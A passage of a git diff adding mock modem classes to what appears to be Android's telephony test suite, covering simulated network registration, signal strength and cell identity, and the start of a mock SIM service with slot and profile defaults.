+                if (cellInfo.connectionStatus == CellConnectionStatus.PRIMARY_SERVING) {
+                    switch (cellInfo.ratSpecificInfo.getTag()) {
+                        case CellInfoRatSpecificInfo.wcdma:
+                            operatorInfo =
+                                    cellInfo.ratSpecificInfo.getWcdma()
+                                            .cellIdentityWcdma
+                                            .operatorNames;
+                            break;
+                        case CellInfoRatSpecificInfo.lte:
+                            operatorInfo =
+                                    cellInfo.ratSpecificInfo.getLte().cellIdentityLte.operatorNames;
+                            break;
+                        default:
+                            break;
+                    }
+                }
+            }
+
+            return operatorInfo;
+        }
+
+        public android.hardware.radio.network.SignalStrength getPrimaryCellSignalStrength() {
+            android.hardware.radio.network.SignalStrength signalStrength =
+                    new android.hardware.radio.network.SignalStrength();
+
+            signalStrength.gsm = new android.hardware.radio.network.GsmSignalStrength();
+            signalStrength.cdma = new android.hardware.radio.network.CdmaSignalStrength();
+            signalStrength.evdo = new android.hardware.radio.network.EvdoSignalStrength();
+            signalStrength.lte = new android.hardware.radio.network.LteSignalStrength();
+            signalStrength.tdscdma = new android.hardware.radio.network.TdscdmaSignalStrength();
+            signalStrength.wcdma = new android.hardware.radio.network.WcdmaSignalStrength();
+            signalStrength.nr = new android.hardware.radio.network.NrSignalStrength();
+            signalStrength.nr.csiCqiReport = new byte[0];
+
+            for (CellInfo cellInfo : getCells()) {
+                if (cellInfo.connectionStatus == CellConnectionStatus.PRIMARY_SERVING) {
+                    switch (cellInfo.ratSpecificInfo.getTag()) {
+                        case CellInfoRatSpecificInfo.wcdma:
+                            signalStrength.wcdma =
+                                    cellInfo.ratSpecificInfo.getWcdma().signalStrengthWcdma;
+                            break;
+                        case CellInfoRatSpecificInfo.lte:
+                            signalStrength.lte =
+                                    cellInfo.ratSpecificInfo.getLte().signalStrengthLte;
+                            break;
+                        default:
+                            break;
+                    }
+                }
+            }
+
+            return signalStrength;
+        }
+
+        public int getPrimaryCellRat() {
+            int rat = android.hardware.radio.RadioTechnology.UNKNOWN;
+
+            for (CellInfo cellInfo : getCells()) {
+                if (cellInfo.connectionStatus == CellConnectionStatus.PRIMARY_SERVING) {
+                    switch (cellInfo.ratSpecificInfo.getTag()) {
+                        case CellInfoRatSpecificInfo.wcdma:
+                            // TODO: Need find an element to assign the rat WCDMA, HSUPA, HSDPA, or
+                            // HSPA
+                            rat = android.hardware.radio.RadioTechnology.HSPA;
+                            break;
+                        case CellInfoRatSpecificInfo.lte:
+                            rat = android.hardware.radio.RadioTechnology.LTE;
+                            break;
+                        default:
+                            break;
+                    }
+                }
+            }
+
+            return rat;
+        }
+
+        public android.hardware.radio.network.CellIdentity getPrimaryCellIdentity() {
+            android.hardware.radio.network.CellIdentity cellIdentity =
+                    android.hardware.radio.network.CellIdentity.noinit(true);
+
+            for (CellInfo cellInfo : getCells()) {
+                if (cellInfo.connectionStatus == CellConnectionStatus.PRIMARY_SERVING) {
+                    switch (cellInfo.ratSpecificInfo.getTag()) {
+                        case CellInfoRatSpecificInfo.wcdma:
+                            cellIdentity.setWcdma(
+                                    cellInfo.ratSpecificInfo.getWcdma().cellIdentityWcdma);
+                            break;
+                        case CellInfoRatSpecificInfo.lte:
+                            cellIdentity.setLte(cellInfo.ratSpecificInfo.getLte().cellIdentityLte);
+                            break;
+                        default:
+                            break;
+                    }
+                }
+            }
+
+            return cellIdentity;
+        }
+    }
+
+    public MockNetworkService() {
+        loadMockModemCell(MOCK_CARRIER_CHT);
+        loadMockModemCell(MOCK_CARRIER_FET);
+    }
+
+    public void loadMockModemCell(int carrierId) {
+        if (!mCellList.isEmpty()) {
+            for (MockModemCell mmc : mCellList) {
+                if (mmc.getCarrierId() == carrierId) {
+                    Log.d(TAG, "Carrier ID " + carrierId + " is loaded.");
+                    return;
+                }
+            }
+        }
+
+        mCellList.add(new MockModemCell(carrierId));
+    }
+
+    private int getHighestRatFromNetworkType(int raf) {
+        int rat;
+        int networkMode = RadioAccessFamily.getNetworkTypeFromRaf(raf);
+
+        switch (networkMode) {
+            case RILConstants.NETWORK_MODE_WCDMA_PREF:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_HSPA;
+                break;
+            case RILConstants.NETWORK_MODE_GSM_ONLY:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_GSM;
+                break;
+            case RILConstants.NETWORK_MODE_WCDMA_ONLY:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_HSPA;
+                break;
+            case RILConstants.NETWORK_MODE_GSM_UMTS:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_HSPA;
+                break;
+            case RILConstants.NETWORK_MODE_CDMA:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_IS95A;
+                break;
+            case RILConstants.NETWORK_MODE_LTE_CDMA_EVDO:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_LTE;
+                break;
+            case RILConstants.NETWORK_MODE_LTE_GSM_WCDMA:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_LTE;
+                break;
+            case RILConstants.NETWORK_MODE_LTE_CDMA_EVDO_GSM_WCDMA:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_LTE;
+                break;
+            case RILConstants.NETWORK_MODE_LTE_ONLY:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_LTE;
+                break;
+            case RILConstants.NETWORK_MODE_LTE_WCDMA:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_LTE;
+                break;
+            case RILConstants.NETWORK_MODE_CDMA_NO_EVDO:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_IS95A;
+                break;
+            case RILConstants.NETWORK_MODE_EVDO_NO_CDMA:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_EVDO_0;
+                break;
+            case RILConstants.NETWORK_MODE_GLOBAL:
+                // GSM | WCDMA | CDMA | EVDO;
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_HSPA;
+                break;
+            case RILConstants.NETWORK_MODE_TDSCDMA_ONLY:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_TD_SCDMA;
+                break;
+            case RILConstants.NETWORK_MODE_TDSCDMA_WCDMA:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_HSPA;
+                break;
+            case RILConstants.NETWORK_MODE_LTE_TDSCDMA:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_LTE;
+                break;
+            case RILConstants.NETWORK_MODE_TDSCDMA_GSM:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_TD_SCDMA;
+                break;
+            case RILConstants.NETWORK_MODE_LTE_TDSCDMA_GSM:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_LTE;
+                break;
+            case RILConstants.NETWORK_MODE_TDSCDMA_GSM_WCDMA:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_HSPA;
+                break;
+            case RILConstants.NETWORK_MODE_LTE_TDSCDMA_WCDMA:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_LTE;
+                break;
+            case RILConstants.NETWORK_MODE_LTE_TDSCDMA_GSM_WCDMA:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_LTE;
+                break;
+            case RILConstants.NETWORK_MODE_TDSCDMA_CDMA_EVDO_GSM_WCDMA:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_HSPA;
+                break;
+            case RILConstants.NETWORK_MODE_LTE_TDSCDMA_CDMA_EVDO_GSM_WCDMA:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_LTE;
+                break;
+            case RILConstants.NETWORK_MODE_NR_ONLY:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_NR;
+                break;
+            case RILConstants.NETWORK_MODE_NR_LTE:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_NR;
+                break;
+            case RILConstants.NETWORK_MODE_NR_LTE_CDMA_EVDO:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_NR;
+                break;
+            case RILConstants.NETWORK_MODE_NR_LTE_GSM_WCDMA:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_NR;
+                break;
+            case RILConstants.NETWORK_MODE_NR_LTE_CDMA_EVDO_GSM_WCDMA:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_NR;
+                break;
+            case RILConstants.NETWORK_MODE_NR_LTE_WCDMA:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_NR;
+                break;
+            case RILConstants.NETWORK_MODE_NR_LTE_TDSCDMA:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_NR;
+                break;
+            case RILConstants.NETWORK_MODE_NR_LTE_TDSCDMA_GSM:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_NR;
+                break;
+            case RILConstants.NETWORK_MODE_NR_LTE_TDSCDMA_WCDMA:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_NR;
+                break;
+            case RILConstants.NETWORK_MODE_NR_LTE_TDSCDMA_GSM_WCDMA:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_NR;
+                break;
+            case RILConstants.NETWORK_MODE_NR_LTE_TDSCDMA_CDMA_EVDO_GSM_WCDMA:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_NR;
+                break;
+            default:
+                rat = ServiceState.RIL_RADIO_TECHNOLOGY_UNKNOWN;
+                break;
+        }
+        return rat;
+    }
+
+    public android.hardware.radio.network.OperatorInfo getPrimaryCellOperatorInfo() {
+        android.hardware.radio.network.OperatorInfo operatorInfo =
+                new android.hardware.radio.network.OperatorInfo();
+
+        if (mCsRegState == RegState.REG_HOME || mPsRegState == RegState.REG_HOME) {
+            operatorInfo = getCarrierStatus(mHomeCarrierId).getPrimaryCellOperatorInfo();
+        } else if (mCsRegState == RegState.REG_ROAMING || mPsRegState == RegState.REG_ROAMING) {
+            operatorInfo = getCarrierStatus(mRoamingCarrierId).getPrimaryCellOperatorInfo();
+        }
+
+        return operatorInfo;
+    }
+
+    public android.hardware.radio.network.CellIdentity getPrimaryCellIdentity() {
+        android.hardware.radio.network.CellIdentity cellIdentity =
+                android.hardware.radio.network.CellIdentity.noinit(true);
+
+        if (mCsRegState == RegState.REG_HOME || mPsRegState == RegState.REG_HOME) {
+            cellIdentity = getCarrierStatus(mHomeCarrierId).getPrimaryCellIdentity();
+        } else if (mCsRegState == RegState.REG_ROAMING || mPsRegState == RegState.REG_ROAMING) {
+            cellIdentity = getCarrierStatus(mRoamingCarrierId).getPrimaryCellIdentity();
+        }
+
+        return cellIdentity;
+    }
+
+    public android.hardware.radio.network.CellInfo[] getCells() {
+        ArrayList<android.hardware.radio.network.CellInfo> cellInfos = new ArrayList<>();
+
+        for (MockModemCell mmc : mCellList) {
+            CellInfo[] cells = mmc.getCells();
+            if (cells != null) {
+                for (CellInfo cellInfo : cells) {
+                    cellInfos.add(cellInfo);
+                }
+            }
+        }
+
+        return cellInfos.stream().toArray(android.hardware.radio.network.CellInfo[]::new);
+    }
+
+    public boolean updateHighestRegisteredRat(int raf) {
+
+        int rat = mHighRat;
+        mHighRat = getHighestRatFromNetworkType(raf);
+
+        return (rat == mHighRat);
+    }
+
+    public void updateNetworkStatus(int reason) {
+        if (reason == NETWORK_UPDATE_PREFERRED_MODE_CHANGE) {
+            Log.d(TAG, "updateNetworkStatus: NETWORK_UPDATE_PREFERRED_MODE_CHANGE");
+            // TODO
+        }
+    }
+
+    public int getRegistrationRat() {
+        int rat = android.hardware.radio.RadioTechnology.UNKNOWN;
+
+        if (mCsRegState == RegState.REG_HOME || mPsRegState == RegState.REG_HOME) {
+            rat = getCarrierStatus(mHomeCarrierId).getPrimaryCellRat();
+        } else if (mCsRegState == RegState.REG_ROAMING || mPsRegState == RegState.REG_ROAMING) {
+            rat = getCarrierStatus(mRoamingCarrierId).getPrimaryCellRat();
+        }
+
+        return rat;
+    }
+
+    public android.hardware.radio.network.SignalStrength getSignalStrength() {
+        android.hardware.radio.network.SignalStrength signalStrength =
+                new android.hardware.radio.network.SignalStrength();
+
+        if (mCsRegState == RegState.REG_HOME || mPsRegState == RegState.REG_HOME) {
+            signalStrength = getCarrierStatus(mHomeCarrierId).getPrimaryCellSignalStrength();
+        } else if (mCsRegState == RegState.REG_ROAMING || mPsRegState == RegState.REG_ROAMING) {
+            signalStrength = getCarrierStatus(mRoamingCarrierId).getPrimaryCellSignalStrength();
+        } else {
+            // TODO
+        }
+
+        return signalStrength;
+    }
+
+    public int getRegistration(int domain) {
+        if (domain == android.hardware.radio.network.Domain.CS) {
+            return mCsRegState;
+        } else {
+            return mPsRegState;
+        }
+    }
+
+    public boolean isInService() {
+        return ((mCsRegState == RegState.REG_HOME)
+                || (mPsRegState == RegState.REG_HOME)
+                || (mCsRegState == RegState.REG_ROAMING)
+                || (mPsRegState == RegState.REG_ROAMING));
+    }
+
+    public void updateSimPlmn(String simPlmn) {
+        mSimPlmn = simPlmn;
+
+        // Reset mHomeCarrierId and mRoamingCarrierId
+        mHomeCarrierId = MOCK_CARRIER_NO_SERVICE;
+        mRoamingCarrierId = MOCK_CARRIER_NO_SERVICE;
+
+        if (mSimPlmn == null || mSimPlmn.isEmpty()) return;
+
+        if (mCellList.isEmpty()) return;
+
+        for (MockModemCell mmc : mCellList) {
+
+            if (isHomeCellExisted() && isRoamingCellExisted()) break;
+
+            // Find out which cell is Home cell
+            for (String plmn : mmc.mEHPlmnList) {
+                if (!isHomeCellExisted() && mSimPlmn.equals(plmn)) {
+                    mHomeCarrierId = mmc.getCarrierId();
+                    Log.d(TAG, "Cell ID: Home Cell " + mHomeCarrierId);
+                }
+            }
+
+            // Find out which cell is Home cell
+            for (String plmn : mmc.mAllowRoamingList) {
+                if (!isRoamingCellExisted() && mSimPlmn.equals(plmn)) {
+                    mRoamingCarrierId = mmc.getCarrierId();
+                    Log.d(TAG, "Cell ID: Roaming Cell " + mRoamingCarrierId);
+                }
+            }
+        }
+    }
+
+    /**
+     * Set the device enters IN SERVICE
+     *
+     * @param isRoaming boolean true if the camping network is Roaming service, otherwise Home
+     *     service
+     * @param inService boolean true if the deviec enters carrier coverge, otherwise the device
+     *     leaves the carrier coverage.
+     */
+    public void setServiceStatus(boolean isRoaming, boolean inService) {
+        if (isRoaming) {
+            mIsRoamingCamping = inService;
+        } else {
+            mIsHomeCamping = inService;
+        }
+    }
+
+    public boolean getIsHomeCamping() {
+        return mIsHomeCamping;
+    }
+
+    public boolean getIsRoamingCamping() {
+        return mIsRoamingCamping;
+    }
+
+    public boolean isHomeCellExisted() {
+        return (mHomeCarrierId != MOCK_CARRIER_NO_SERVICE);
+    }
+
+    public boolean isRoamingCellExisted() {
+        return (mRoamingCarrierId != MOCK_CARRIER_NO_SERVICE);
+    }
+
+    public void updateServiceState(int reg) {
+        Log.d(TAG, "Cell ID: updateServiceState " + reg);
+        switch (reg) {
+            case RegState.NOT_REG_MT_SEARCHING_OP:
+                mCsRegState = RegState.NOT_REG_MT_SEARCHING_OP;
+                mPsRegState = RegState.NOT_REG_MT_SEARCHING_OP;
+                break;
+            case RegState.REG_HOME:
+                mCsRegState = RegState.REG_HOME;
+                mPsRegState = RegState.REG_HOME;
+                break;
+            case RegState.REG_ROAMING:
+                mCsRegState = RegState.REG_ROAMING;
+                mPsRegState = RegState.REG_ROAMING;
+                break;
+            case RegState.NOT_REG_MT_NOT_SEARCHING_OP:
+            default:
+                mCsRegState = RegState.NOT_REG_MT_NOT_SEARCHING_OP;
+                mPsRegState = RegState.NOT_REG_MT_NOT_SEARCHING_OP;
+                break;
+        }
+
+        // TODO: mCsRegState and mPsReState may be changed by the registration denied reason set by
+        // TestCase
+
+        for (MockModemCell mmc : mCellList) {
+            boolean registered;
+            if ((mCsRegState == RegState.REG_HOME || mPsRegState == RegState.REG_HOME)
+                    && mHomeCarrierId == mmc.getCarrierId()) {
+                registered = true;
+            } else if ((mCsRegState == RegState.REG_ROAMING || mPsRegState == RegState.REG_ROAMING)
+                    && mRoamingCarrierId == mmc.getCarrierId()) {
+                registered = true;
+            } else {
+                registered = false;
+            }
+
+            CellInfo[] cells = mmc.getCells();
+            if (cells != null) {
+                for (CellInfo cellInfo : cells) {
+                    cellInfo.registered = registered;
+                }
+            }
+        }
+    }
+
+    public MockModemCell getCarrierStatus(int carrierId) {
+        for (MockModemCell mmc : mCellList) {
+            if (mmc.getCarrierId() == carrierId) return mmc;
+        }
+
+        return null;
+    }
+
+    @Override
+    public String toString() {
+        return "isInService():" + isInService() + " Rat:" + getRegistrationRat() + "";
+    }
+}
diff --git a/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockSimService.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockSimService.java
new file mode 100644
index 0000000..8183925
--- /dev/null
+++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockSimService.java
@@ -0,0 +1,1169 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.mockmodem;
+
+import android.content.Context;
+import android.hardware.radio.sim.AppStatus;
+import android.hardware.radio.sim.PinState;
+import android.util.Log;
+import android.util.Xml;
+
+import org.xmlpull.v1.XmlPullParser;
+
+import java.io.InputStream;
+import java.util.ArrayList;
+import java.util.Locale;
+
+public class MockSimService {
+    private static final String TAG = "MockSimService";
+
+    /* Support SIM card identify */
+    public static final int MOCK_SIM_PROFILE_ID_DEFAULT = 0; // SIM Absent
+    public static final int MOCK_SIM_PROFILE_ID_TWN_CHT = 1;
+    public static final int MOCK_SIM_PROFILE_ID_TWN_FET = 2;
+    public static final int MOCK_SIM_PROFILE_ID_MAX = 3;
+
+    /* Type of SIM IO command */
+    public static final int COMMAND_READ_BINARY = 0xb0;
+    public static final int COMMAND_GET_RESPONSE = 0xc0;
+
+    /* EF Id definition */
+    public static final int EF_ICCID = 0x2FE2;
+    public static final int EF_IMSI = 0x6F07;
+
+    /* SIM profile XML TAG definition */
+    private static final String MOCK_SIM_TAG = "MockSim";
+    private static final String MOCK_SIM_PROFILE_TAG = "MockSimProfile";
+    private static final String MOCK_PIN_PROFILE_TAG = "PinProfile";
+    private static final String MOCK_PIN1_STATE_TAG = "Pin1State";
+    private static final String MOCK_PIN2_STATE_TAG = "Pin2State";
+    private static final String MOCK_FACILITY_LOCK_TAG = "FacilityLock";
+    private static final String MOCK_FACILITY_LOCK_FD_TAG = "FD";
+    private static final String MOCK_FACILITY_LOCK_SC_TAG = "SC";
+    private static final String MOCK_MF_TAG = "MF";
+    private static final String MOCK_EF_TAG = "EF";
+    private static final String MOCK_EF_DIR_TAG = "EFDIR";
+    private static final String MOCK_ADF_TAG = "ADF";
+
+    /* Support SIM slot */
+    private static final int MOCK_SIM_SLOT_1 = 0;
+    private static final int MOCK_SIM_SLOT_2 = 1;
+    private static final int MOCK_SIM_SLOT_3 = 2;
+    public static final int MOCK_SIM_SLOT_MAX = 3;
+
+    /* Default value definition */
+    private static final int MOCK_SIM_DEFAULT_SLOTID = MOCK_SIM_SLOT_1;
+    private static final int DEFAULT_NUM_OF_SIM_PORT_INfO = 1;
+    private static final int DEFAULT_NUM_OF_SIM_APP = 0;
+    private static final int DEFAULT_GSM_APP_IDX = -1;
+    private static final int DEFAULT_CDMA_APP_IDX = -1;
+    private static final int DEFAULT_IMS_APP_IDX = -1;
+    // SIM1 slot status
+    private static final int DEFAULT_SIM1_PROFILE_ID = MOCK_SIM_PROFILE_ID_DEFAULT;
+    private static final boolean DEFAULT_SIM1_CARD_PRESENT = false;
+    private static final String DEFAULT_SIM1_ATR = "";
+    private static final String DEFAULT_SIM1_EID = "";
+    private static final String DEFAULT_SIM1_ICCID = "";
+    private static final boolean DEFAULT_SIM1_PORT_ACTIVE = true;
+    private static final int DEFAULT_SIM1_PORT_ID = 0;
+    private static final int DEFAULT_SIM1_LOGICAL_SLOT_ID = 0;
+    private static final int DEFAULT_SIM1_PHYSICAL_SLOT_ID = 0;
+    private static final int DEFAULT_SIM1_UNIVERSAL_PIN_STATE = 0;
+    // SIM2 slot status
+    private static final int DEFAULT_SIM2_PROFILE_ID = MOCK_SIM_PROFILE_ID_DEFAULT;
+    private static final boolean DEFAULT_SIM2_CARD_PRESENT = false;
+    private static final String DEFAULT_SIM2_ATR =
+            "3B9F97C00A3FC6828031E073FE211F65D002341512810F51";
+    private static final String DEFAULT_SIM2_EID = "89033023426200000000005430099507";
+    private static final String DEFAULT_SIM2_ICCID = "";
+    private static final boolean DEFAULT_SIM2_PORT_ACTIVE = false;
+    private static final int DEFAULT_SIM2_PORT_ID = 0;
+    private static final int DEFAULT_SIM2_LOGICAL_SLOT_ID = -1;
+    private static final int DEFAULT_SIM2_PHYSICAL_SLOT_ID = 0;
+    private static final int DEFAULT_SIM2_UNIVERSAL_PIN_STATE = 0;
+    // SIM3 slot status
+    private static final int DEFAULT_SIM3_PROFILE_ID = MOCK_SIM_PROFILE_ID_DEFAULT;
+    private static final boolean DEFAULT_SIM3_CARD_PRESENT = false;
+    private static final String DEFAULT_SIM3_ATR = "";
+    private static final String DEFAULT_SIM3_EID = "";
+    private static final String DEFAULT_SIM3_ICCID = "";
+    private static final boolean DEFAULT_SIM3_PORT_ACTIVE = false;
+    private static final int DEFAULT_SIM3_PORT_ID = 0;
+    private static final int DEFAULT_SIM3_LOGICAL_SLOT_ID = -1;
+    private static final int DEFAULT_SIM3_PHYSICAL_SLOT_ID = 0;
+    private static final int DEFAULT_SIM3_UNIVERSAL_PIN_STATE = 0;
+
+    private Context mContext;
+
+    // SIM Slot status
+    private int mPhysicalSlotId;
+    private int mLogicalSlotId;
+    private int mSlotPortId;
+    private boolean mIsSlotPortActive;
+    private boolean mIsCardPresent;
+
+    /* SIM profile info */
+    private SimProfileInfo[] mSimProfileInfoList;
+
+    // SIM card data
+    private int mSimProfileId;
+    private String mEID;
+    private String mATR;
+    private int mUniversalPinState;
+
+    private AppStatus[] mSimApp;
+    private ArrayList<SimAppData> mSimAppList;
+
+    public class SimAppData {
+        private static final int EF_INFO_DATA = 0;
+        private static final int EF_BINARY_DATA = 1;
+
+        private int mSimAppId;
+        private String mAid;
+        private boolean mIsCurrentActive;
+        private String mPath;
+        private int mFdnStatus;
+        private int mPin1State;
+        private String mImsi;
+        private String mMcc;
+        private String mMnc;
+        private String mMsin;
+        private String[] mIccid;
+
+        private void initSimAppData(int simappid, String aid, String path, boolean status) {
+            mSimAppId = simappid;
+            mAid = aid;
+            mIsCurrentActive = status;
+            mPath = path;
+            mIccid = new String[2];
+        }
+
+        public SimAppData(int simappid, String aid, String path) {
+            initSimAppData(simappid, aid, path, false);
+        }
+
+        public SimAppData(int simappid, String aid, String path, boolean status) {
+            initSimAppData(simappid, aid, path, status);
+        }
+
+        public int getSimAppId() {
+            return mSimAppId;
+        }
+
+        public String getAid() {
+            return mAid;
+        }
+
+        public boolean isCurrentActive() {
+            return mIsCurrentActive;
+        }
+
+        public String getPath() {
+            return mPath;
+        }
+
+        public int getFdnStatus() {
+            return mFdnStatus;
+        }
+
+        public void setFdnStatus(int status) {
+            mFdnStatus = status;
+        }
+
+        public int getPin1State() {
+            return mPin1State;
+        }
+
+        public void setPin1State(int state) {
+            mPin1State = state;
+        }
+
+        public String getImsi() {
+            return mMcc + mMnc + mMsin;
+        }
+
+        public void setImsi(String mcc, String mnc, String msin) {
+            setMcc(mcc);
+            setMnc(mnc);
+            setMsin(msin);
+        }
+
+        public String getMcc() {
+            return mMcc;
+        }
+
+        public void setMcc(String mcc) {
+            mMcc = mcc;
+        }
+
+        public String getMnc() {
+            return mMnc;
+        }
+
+        public void setMnc(String mnc) {
+            mMnc = mnc;
+        }
+
+        public String getMsin() {
+            return mMsin;
+        }
+
+        public void setMsin(String msin) {
+            mMsin = msin;
+        }
+
+        public String getIccidInfo() {
+            return mIccid[EF_INFO_DATA];
+        }
+
+        public void setIccidInfo(String info) {
+            mIccid[EF_INFO_DATA] = info;
+        }
+
+        public String getIccid() {
+            return mIccid[EF_BINARY_DATA];
+        }
+
+        public void setIccid(String iccid) {
+            mIccid[EF_BINARY_DATA] = iccid;
+        }
+    }
+
+    public class SimProfileInfo {
+        private int mSimProfileId;
+        private int mNumOfSimApp;
+        private int mGsmAppIndex;
+        private int mCdmaAppIndex;
+        private int mImsAppIndex;
+        private String mXmlFile;
+
+        public SimProfileInfo(int profileid) {
+            mSimProfileId = profileid;
+            mNumOfSimApp = DEFAULT_NUM_OF_SIM_APP;
+            mGsmAppIndex = DEFAULT_GSM_APP_IDX;
+            mCdmaAppIndex = DEFAULT_CDMA_APP_IDX;
+            mImsAppIndex = DEFAULT_IMS_APP_IDX;
+            mXmlFile = "";
+        }
+
+        public int getNumOfSimApp() {
+            return mNumOfSimApp;
+        }
+
+        public int getGsmAppIndex() {
+            return mGsmAppIndex;
+        }
+
+        public int getCdmaAppIndex() {
+            return mCdmaAppIndex;
+        }
+
+        public int getImsAppIndex() {
+            return mImsAppIndex;
+        }
+
+        public String getXmlFile() {
+            return mXmlFile;
+        }
+
+        public void setNumOfSimApp(int number) {
+            mNumOfSimApp = number;
+        }
+
+        public void setGsmAppIndex(int index) {
+            mGsmAppIndex = index;
+        }
+
+        public void setCdmaAppIndex(int index) {
+            mCdmaAppIndex = index;
+        }
+
+        public void setImsAppIndex(int index) {
+            mImsAppIndex = index;
+        }
+
+        public void setXmlFile(String file) {
+            mXmlFile = file;
+        }
+    }
+
+    public MockSimService(Context context, int slotId) {
+        mContext = context;
+        int simprofile = DEFAULT_SIM1_PROFILE_ID;
+
+        if (slotId >= MOCK_SIM_SLOT_MAX) {
+            Log.e(
+                    TAG,
+                    "Invalid slot id("
+                            + slotId
+                            + "). Using default slot id("
+                            + MOCK_SIM_DEFAULT_SLOTID
+                            + ").");
+            slotId = MOCK_SIM_DEFAULT_SLOTID;
+        }
+
+        // Init default SIM profile id
+        switch (slotId) {
+            case MOCK_SIM_SLOT_1:
+                simprofile = DEFAULT_SIM1_PROFILE_ID;
+                break;
+            case MOCK_SIM_SLOT_2:
+                simprofile = DEFAULT_SIM2_PROFILE_ID;
+                break;
+            case MOCK_SIM_SLOT_3:
+                simprofile = DEFAULT_SIM3_PROFILE_ID;
+                break;
+        }
+
+        // Initial support SIM profile list
+        mSimProfileInfoList = new SimProfileInfo[MOCK_SIM_PROFILE_ID_MAX];
+        for (int idx = 0; idx < MOCK_SIM_PROFILE_ID_MAX; idx++) {
+            Log.d(TAG, "Create sim profile id = " + idx);
+            mSimProfileInfoList[idx] = new SimProfileInfo(idx);
+            switch (idx) {
+                case MOCK_SIM_PROFILE_ID_TWN_CHT:
+                    mSimProfileInfoList[idx].setXmlFile("mock_sim_tw_cht.xml");
+                    break;
+                case MOCK_SIM_PROFILE_ID_TWN_FET:
+                    mSimProfileInfoList[idx].setXmlFile("mock_sim_tw_fet.xml");
+                    break;
+                default:
+                    break;
+            }
+        }
+
+        // Initiate SIM card with default profile
+        initMockSimCard(slotId, simprofile);
+    }
+
+    private void initMockSimCard(int slotId, int simProfileId) {
+        if (slotId > MockModemConfigInterface.MAX_NUM_OF_SIM_SLOT) {
+            Log.e(
+                    TAG,
+                    "Physical slot id("
+                            + slotId
+                            + ") is invalid. Using default slot id("
+                            + MOCK_SIM_DEFAULT_SLOTID
+                            + ").");
+            mPhysicalSlotId = MOCK_SIM_DEFAULT_SLOTID;
+        } else {
+            mPhysicalSlotId = slotId;
+        }
+        if (simProfileId >= 0 && simProfileId < MOCK_SIM_PROFILE_ID_MAX) {
+            mSimProfileId = simProfileId;
+            Log.i(
+                    TAG,
+                    "Load SIM profile ID: "
+                            + mSimProfileId
+                            + " into physical slot["
+                            + mPhysicalSlotId
+                            + "]");
+        } else {
+            mSimProfileId = MOCK_SIM_PROFILE_ID_DEFAULT;
+            Log.e(
+                    TAG,
+                    "SIM Absent on physical slot["
+                            + mPhysicalSlotId
+                            + "]. Not support SIM card ID: "
+                            + mSimProfileId);
+        }
+
+        // Initiate slot status
+        initMockSimSlot();
+
+        // Load SIM profile data
+        loadMockSimCard();
+    }
+
+    private void initMockSimSlot() {
+        switch (mPhysicalSlotId) {
+            case MOCK_SIM_SLOT_1:
+                mLogicalSlotId = DEFAULT_SIM1_LOGICAL_SLOT_ID;
+                mSlotPortId = DEFAULT_SIM1_PORT_ID;
+                mIsSlotPortActive = DEFAULT_SIM1_PORT_ACTIVE;
+                mIsCardPresent = DEFAULT_SIM1_CARD_PRESENT;
+                break;
+            case MOCK_SIM_SLOT_2:
+                mLogicalSlotId = DEFAULT_SIM2_LOGICAL_SLOT_ID;
+                mSlotPortId = DEFAULT_SIM2_PORT_ID;
+                mIsSlotPortActive = DEFAULT_SIM2_PORT_ACTIVE;
+                mIsCardPresent = DEFAULT_SIM2_CARD_PRESENT;
+                break;
+            case MOCK_SIM_SLOT_3:
+                mLogicalSlotId = DEFAULT_SIM3_LOGICAL_SLOT_ID;
+                mSlotPortId = DEFAULT_SIM3_PORT_ID;
+                mIsSlotPortActive = DEFAULT_SIM3_PORT_ACTIVE;
+                mIsCardPresent = DEFAULT_SIM3_CARD_PRESENT;
+                break;
+        }
+    }
+
+    private int convertMockSimPinState(String pinstate) {
+        int mocksim_pinstate = PinState.UNKNOWN;
+        switch (pinstate) {
+            case "PINSTATE_UNKNOWN":
+                mocksim_pinstate = PinState.UNKNOWN;
+                break;
+            case "PINSTATE_ENABLED_NOT_VERIFIED":
